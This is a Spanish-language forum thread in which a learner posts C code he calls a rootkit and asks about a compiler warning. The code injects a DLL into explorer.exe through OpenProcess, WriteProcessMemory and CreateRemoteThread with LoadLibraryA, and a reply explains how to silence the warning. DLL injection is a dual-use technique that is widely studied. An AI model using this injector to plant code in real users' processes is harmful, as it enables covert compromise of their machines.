error al compilar este rootkit

Iniciado por colcrt, 29 Septiembre 2014, 07:40 AM

0 Miembros y 1 Visitante están viendo este tema.

colcrt

hola a tod@s es que estaba siguiendo esta guia para aprender un poco mas a programar y por que no acerca de este tipo de virus pero me ha surgido un problema que no entiendo muy bien cuando trato de compilar el codigo me salta este error 35 109 [Warning] passing NULL to non-pointer argument 3 of 'void* CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, DWORD,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD)' [-Wconversion-null]


si algun@ fuera amable y me explicara un poco mejor de que se trata el codigo en cuestion es este

#include <windows.h>
    #include <tlhelp32.h>

    void main()
    {
    HANDLE proceso;
    LPVOID RemoteString;
    LPVOID nLoadLibrary;
    int pid;

    // OBTENEMOS EL PID DEL PROCESO
    // (Si quieren información sobre estas APIs miren la ayuda de microsoft)

    HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

    //Aquí empezamos a recorrer todos los procesos que están abiertos
    while(Process32Next(handle, &procinfo))
    {
    if(!strcmp(procinfo.szExeFile, "explorer.exe"))//comparamos los nombres
    {
    CloseHandle(handle);
    pid = procinfo.th32ProcessID;//guardamos el PID
    }
    }
    CloseHandle(handle);

    // INYECTAMOS LA DLL
    // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

    proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
    RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL);
    CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
    CloseHandle(proceso);
    }


al parecer el error esta en esta linea
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);

Eternal Idol

Eso no es un error, sino una advertencia; te dice que le estas pasando un puntero a un parametro que es DWORD en realidad. Pasale 0 en lugar de NULL si queres evitar el warning.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón